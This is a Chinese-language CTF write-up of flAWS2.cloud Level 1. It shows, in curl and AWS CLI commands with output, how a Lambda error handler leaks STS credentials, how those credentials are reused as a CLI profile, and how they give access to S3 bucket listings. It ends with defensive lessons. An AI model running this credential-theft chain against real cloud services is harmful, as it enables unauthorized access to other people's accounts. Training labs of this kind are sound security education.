flAWS2.cloud Level 1 Writeup — Lambda 環境變數洩漏與 S3 未授權存取
靶場:flAWS2.cloud — Attacker Path
難度:★☆☆☆☆(入門)
涉及服務:API Gateway、AWS Lambda、S3
0x00 題目概述
Level 1 的頁面上有一個 PIN 輸入框,要求輸入一組 100 位數的正確 PIN 碼,題目明確指出暴力破解不可行,因此必須從 AWS 雲端服務本身找到突破口。
0x01 偵察 — 原始碼分析
先觀察網頁原始碼:
curl -s http://level1.flaws2.cloud/
關鍵發現有兩個:
1. Client-side JavaScript 驗證
function validateForm() {
var code = document.forms["myForm"]["code"].value;
if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
alert("Code must be a number");
return false;
}
}
這段 JS 只驗證輸入是否為數字,用 curl 直接送 request 即可繞過。
2. 表單 action 指向 API Gateway + Lambda
<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" ...>
後端架構很明確:API Gateway → Lambda function。
0x02 攻擊 — 觸發 Lambda Error Disclosure
先送一個正常請求確認回應行為:
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234"
回應為空(302 redirect 到錯誤頁面),接著繞過 client-side 驗證,送入非數字值:
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc"
Lambda function 的 error handling 直接將整個執行環境的環境變數傾倒出來:
Error, malformed input
{"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
"AWS_ACCESS_KEY_ID":"ASIA...",
"AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2Vj...",
"AWS_SECRET_ACCESS_KEY":"E2y8...",
"AWS_DEFAULT_REGION":"us-east-1",
"AWS_LAMBDA_FUNCTION_NAME":"level1",
...}
拿到三個關鍵值:
| 欄位 | 說明 |
|---|---|
AWS_ACCESS_KEY_ID |
以 ASIA 開頭,代表這是 STS 臨時 credentials |
AWS_SECRET_ACCESS_KEY |
Secret Key |
AWS_SESSION_TOKEN |
Session Token(臨時憑證必須搭配) |
0x03 利用 — 冒用 Lambda 身份存取 S3
將洩漏的 credentials 設定為 AWS CLI profile:
aws configure set aws_access_key_id ASIAZQNB3KHGJCOCXPGM --profile flaws2
aws configure set aws_secret_access_key "E2y81/8EtlVmOw/8WYCV8+e5O5UpYTi1DR15zOsi" --profile flaws2
aws configure set aws_session_token "IQoJb3JpZ2luX2Vj..." --profile flaws2
aws configure set region us-east-1 --profile flaws2
確認身份:
$ aws sts get-caller-identity --profile flaws2
{
"UserId": "AROAIBATWWYQXZTTALNCE:level1",
"Account": "653711331788",
"Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}
我們現在是 level1 Lambda 的 execution role,嘗試列舉 S3:
$ aws s3 ls --profile flaws2
# AccessDenied — 沒有 ListAllMyBuckets 權限
但我們已知網站域名,直接指定 bucket 名稱:
$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2
PRE img/
2018-11-21 04:55:05 17102 favicon.ico
2018-11-21 10:00:22 1905 hint1.htm
2018-11-21 10:00:22 2226 hint2.htm
2018-11-21 10:00:22 2536 hint3.htm
2018-11-21 10:00:23 2460 hint4.htm
2018-11-21 10:00:17 3000 index.htm
2018-11-21 10:00:17 1899 secret-redacted.html
發現隱藏的 redacted.html,存取即可進入 Level 2:
http://level1.flaws2.cloud/secret-redacted.html
0x04 攻擊鏈總結
Client-side JS Bypass(送入非數字)
↓
Lambda Error Handler 洩漏環境變數
↓
取得 STS 臨時 Credentials(Access Key + Secret + Token)
↓
冒用 Lambda Execution Role 身份
↓
列舉 S3 Bucket 內容
↓
發現隱藏的 secret HTML → 過關
0x05 Lessons Learned
1. Lambda 環境變數洩漏
EC2 透過 metadata service(169.254.169.254)取得 IAM role credentials,而 Lambda 則是透過環境變數,開發者在 debug 時經常在 error handler 中 dump 環境變數,這在 production 環境中是極度危險的,因為 AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN 都存在環境變數裡。
2. IAM 過度授權(Least Privilege 違反)
這個 Lambda 的 execution role 被授予了列舉 S3 bucket 內容的權限,但它的功能只是驗證 PIN 碼,正確做法是遵循最小權限原則(Least Privilege),只給予 Lambda 完成任務所需的最低限度權限,可以搭配 AWS CloudTrail + CloudTracker 或 AWS Access Advisor + RepoKid 來識別過度授權。
3. 不要只依賴 Client-side 驗證
這題的輸入驗證只在 JavaScript 端執行,用 curl 即可完全繞過,在 Serverless 架構中,請求從 client 經過 API Gateway 再到 Lambda,每一層都不應假設上游已經做過驗證,每個元件都應該獨立驗證輸入。
4. Error Handling 的安全原則
- 不要在 production 回傳 stack trace 或環境變數
- 使用自定義 error response,只回傳必要的錯誤資訊
- 將詳細的 debug 資訊記錄到 CloudWatch Logs,而非直接回傳給使用者
Member discussion